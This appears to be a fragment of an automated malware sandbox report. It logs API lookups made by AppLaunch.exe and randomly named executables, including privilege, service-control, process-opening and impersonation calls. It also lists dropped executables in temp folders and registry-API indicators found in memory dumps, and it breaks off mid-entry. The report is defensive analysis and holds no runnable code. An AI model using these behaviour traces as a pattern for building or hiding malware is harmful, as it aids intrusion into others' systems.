CreateSymbolicLinkW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserNameA (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenSCManagerW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenServiceA (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter StartService (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter StartServiceA (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseHandleW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter ImpersonateLoggedOnUser (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter ControlService (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter ChangeServiceConfig (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter ChangeServiceConfigA (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyEx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RegSetValueEx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00007048) "2Zz0679.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007244) "2Zz0679.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00007244) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005520) "AppLaunch.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00005520) "3Ix70mE.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007200) "3Ix70mE.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007200)37:T7a7,"tX4Xf64.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\tX4Xf64.exe]- [targetUID: 00000000-00006500] "yh9Qx09.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\yh9Qx09.exe]- [targetUID: 00000000-00007164] "4Tx380er.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\4Tx380er.exe]- [targetUID: 00000000-00006672] "2Zz0679.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\2Zz0679.exe]- [targetUID: 00000000-00005824] "mu6rE08.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\mu6rE08.exe]- [targetUID: 00000000-00007164] "1BU76bP5.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\1BU76bP5.exe]- [targetUID: 00000000-00005824] "Lb2xB02.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\Lb2xB02.exe]- [targetUID: 00000000-00007144] "nk2xW14.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\nk2xW14.exe]- [targetUID: 00000000-00007144] "5ur9cS3.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\5ur9cS3.exe]- [targetUID: 00000000-00007164] "6Pp6Px0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\6Pp6Px0.exe]- [targetUID: 00000000-00006500] "7ho9Fx74.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\7ho9Fx74.exe]- [targetUID: 00000000-00007720] "3Ix70mE.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\3Ix70mE.exe]- [targetUID: 00000000-00007144] "AppLaunch.exe.log" has type "CSV text"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log]- [targetUID: 00000000-00007048]38:Tacb,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "file") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "file") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "file") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: 